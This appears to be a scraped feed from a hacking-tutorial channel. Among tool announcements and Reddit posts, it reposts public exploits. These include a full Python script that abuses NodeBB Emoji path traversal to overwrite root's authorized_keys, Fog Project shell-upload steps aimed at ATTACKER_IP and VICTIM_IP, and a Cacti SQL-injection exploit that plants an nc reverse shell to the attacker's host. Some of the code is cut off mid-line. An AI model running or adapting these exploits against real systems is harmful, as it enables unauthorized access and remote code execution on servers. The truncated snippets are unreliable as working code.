Hacking Articles Tips Tricks Videos Tutorials

KitPloit - PenTest Tools!
M365_Groups_Enum - Enumerate Microsoft 365 Groups In A Tenant With Their Metadata

https://1.bp.blogspot.com/-WmXSN3q-pEY/YIeuipmmyiI/AAAAAAAAWAc/UJa3T2tPGAczlbErknwhg5fhWcx006sLQCNcBGAsYHQ/s320/m365_groups_enum_1_m365-groups-logo.png
The all_groups.pyscript allows to enumerate all Microsoft 365 Groups in a Azure AD tenant with their metadata:

* name
* visibility: public or private
* description
* email address
* owners
* members
* Teams enabled?
* SharePoint URL (e.g. for Teams shared files)

All of this, even for private Groups! Read more about this on my blog article "Risks of Microsoft Teams and Microsoft 365 Groups"

The reporting.pyscript will take the JSON output from all_groups.pyand generates a CSV files allowing to quickly identify sensitive private or public groups.
Installation

Requirement:

1. Download the repository
2. Install requirements with

pip install -r requirements.txt

Usage

You will need a valid account on the tenant. Different authentication methods are supported:

* via login + password (MFA not supported)

python all_groups.py -u myuser@example.onmicrosoft.com -p MyPassw0rd

* via device authentication, which supports MFA via the browser. Launch then follow instructions

python all_groups.py --device-code

Other methods are also offered. You can read the ROADTools documentation or run the script without any argument to get help.

python all_groups.py

That's all, you don't need more options! The script output will be in all_groups.jsonin the current directory.

Then, if you want a nicer and more concise output from this JSON, use reporting.pyto transform it:

python reporting.py

It automatically takes all_groups.jsonin the current directory, and outputs to all_groups.csvin the same directory.

Acknowledgements

This project uses for authentication the very helpful roadlib from ROADTools by @dirkjanm
Download M365_Groups_Enum

19 views16:18

11 views16:40

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking Articles
Windows Privilege Escalation: SeBackupPrivilege

In this article, we will shed light on some of the methods of Escalating Privilege on Windows-based Devices when it is vulnerable with the SeBackupPrivilege after getting the initial foothold on the device. Table of Content Introduction Setting Up Privilege on Windows 10 Testing Privilege on Windows 10 Exploiting Privilege

The post Windows Privilege Escalation: SeBackupPrivilege appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles

Windows Privilege Escalation: SeBackupPrivilege

Learn how attackers can exploit SeBackupPrivilege to escalate privileges in Windows environments and gain unauthorized access.

11 viewsedited 16:40

Hacking Articles Tips Tricks Videos Tutorials

8 views17:09

Hacking Articles Tips Tricks Videos Tutorials

8 views17:09

Hacking Articles Tips Tricks Videos Tutorials

9 views17:09

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
NodeBB Emoji 3.2.1 Arbitrary FIle Write

https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png
NodeBB Emoji plugin version 3.2.1 suffers from an arbitrary file write vulnerability.

MD5 | 49005c6dc65d4c7b995ca019f2d8b491

Download

# Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write
# Date: 2021-02-01
# Exploit Author: 1F98D
# Software Link: https://nodebb.org/
# Version: Emoji for NodeBB <=
# Tested on: Ubuntu 18.04 (x86)
# Software Link: https://github.com/NodeBB/nodebb-plugin-emoji
#
# The Emoji for NodeBB which is installed by default contains an
# arbitrary file write vulnerability to insecurely handled user controlled
# input.
#
# This exploit requires administrative access to the NodeBB instance in order
# to access the emoji upload API.
# 
#!/usr/bin/python3
import requests
import sys
import re
TARGET = 'http://192.168.1.1:4567'
USERNAME = 'admin'
PASSWORD = 'password'
DESTINATION_FILE = '/root/.ssh/authorized_keys'
SOURCE_FILE = '/home/kali/.ssh/id_rsa.pub'
headers = { 'User-Agent': 'NotPython' }
s = requests.Session()
r = s.get('{}/login'.format(TARGET), headers=headers)
if r.status_code != 200:
print('[!] Error, {}/login unavailable'.format(TARGET))
sys.exit(1)
csrf = re.search('name="_csrf" value="(.+)?" />', r.text, re.IGNORECASE)
if csrf is None:
print('[!] Could not extract csrf token to proceed.')
sys.exit(1)
auth = {
'username': USERNAME,
'password': PASSWORD,
'_csrf': csrf.group(1)
}
r = s.post('{}/login'.format(TARGET), headers=headers, data=auth)
if r.status_code != 200:
print('[!] Error, login failed')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Login successful')
r = s.get('{}/admin/plugins/emoji'.format(TARGET), headers=headers)
if r.status_code != 200:
print('[!] Error, could not access emoji plugin')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Emoji plugin is installed')
files = {
'emojiImage': open(SOURCE_FILE)
}
data = {
'fileName': '../../../../../../..{}'.format(DESTINATION_FILE)
}
r = s.post('{}/api/admin/plugins/emoji/upload'.format(TARGET), headers=headers, data=data, files=files)
if r.status_code != 200:
print('[!] Error, could not upload file')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Successfully uploaded file')

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

NodeBB Emoji 3.2.1 Arbitrary FIle Write

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 17:09

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Fog Project 1.5.9 Shell Upload

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Fog Project version 1.5.9 suffers from a remote shell upload vulnerability.

MD5 | 4137325100e71652f6c4dc385797fd66

Download
# Exploit Title: Fog Project - File Upload RCE (Authenticated)

# Date: 2021-04-28
# Exploit Author: sml@lacashita.com
# Vendor Homepage: https://fogproject.org
# Software Link: https://github.com/FOGProject/fogproject/archive/1.5.9.zip
# Tested on: Debian 10

On the Attacker Machine:

1) Create an empty 10Mb file.
dd if=/dev/zero of=myshell bs=10485760 count=1

2) Add your PHP code to the end of the file created in the step 1.
echo '> myshell

3) Put the file "myshell" accessible through HTTP.
$ cp myshell /var/www/html

4) Encode the URL to get "myshell" file to base64 (Replacing Attacker IP).
$ echo "http://ATTACKER_IP/myshell" | base64
aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=

5) Visit
http://VICTIM_IP/fog/management/index.php?node=about&sub=kernel&file=
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Fog Project 1.5.9 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 17:09

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Cacti 1.2.12 SQL Injection / Remote Code Execution

https://1.bp.blogspot.com/-ioJ53oCx49I/WWlvK_l1r2I/AAAAAAAAIMA/qrzTnRYsG8QUcC_eXdokNXQ8WpqzEpJrACLcBGAs/s1600/h16.png
Cacti version 1.2.12 remote code execution exploit that leverages a remote SQL vulnerability.

MD5 | 7d02b8eae5a01a746cf44cba4c1fe1a3

Download
# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295

#!/usr/bin/python3

import argparse
import requests
import sys
import urllib.parse
from bs4 import BeautifulSoup

# proxies = {'http': 'http://127.0.0.1:8080'}
def login(url, username, password, session):
print("[+] Connecting to the server...")
get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)

print("[+] Retrieving CSRF token...")
html_content = get_token_request.text
soup = BeautifulSoup(html_content, 'html.parser')

csrf_token = soup.find_all('input')[0].get('value').split(';')[0]

if csrf_token:
print(f"[+] Got CSRF token: {csrf_token}")
print("[+] Trying to log in...")

data = {
'__csrf_magic': csrf_token,
'action': 'login',
'login_username': username,
'login_password': password
}

login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
if "Invalid User Name/Password Please Retype" in login_request.text:
print("[-] Unable to log in. Check your credentials")
sys.exit()
else:
print("[+] Successfully logged in!")
else:
print("[-] Unable to retrieve CSRF token!")
sys.exit()
def exploit(lhost, lport, session):
rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"

exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)

print("\n[+] SQL Injection:")
print(exploit_request.text)

try:
session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
except Exception:
pass

print("[+] Check your nc listener!")

if __name__ == '__main__':
parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')

parser.add_argument('-t', metavar='
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Cacti 1.2.12 SQL Injection / Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 17:09

Hacking Articles Tips Tricks Videos Tutorials

8 views17:37

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
Security firm Kaspersky believes it found new CIA malware

https://external-preview.redd.it/iiP-N0bNJmkiOxPGHSw2MhH58JgvVHYMOCLRsptWKWc.jpg?width=640&crop=smart&auto=webp&s=ce9d7eef3fa113f4ab169f112a5a5f725b6c0341 submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Security firm Kaspersky believes it found new CIA malware

Posted in r/hacking by u/DrinkMoreCodeMore • 1 point and 0 comments

8 viewsedited 17:37

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Looking for the old malduino

I want to buy a malduino, but the old one with the white buttons which represent binary numbers. On the official page I was only able to find the newer ones with usbc, can anyone provide a link or smth?

submitted by /u/Defight556
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Looking for the old malduino

I want to buy a malduino, but the old one with the white buttons which represent binary numbers. On the official page I was only able to find the...

8 viewsedited 17:37

Hacking Articles Tips Tricks Videos Tutorials

7 views18:01

Hacking Articles Tips Tricks Videos Tutorials

Photo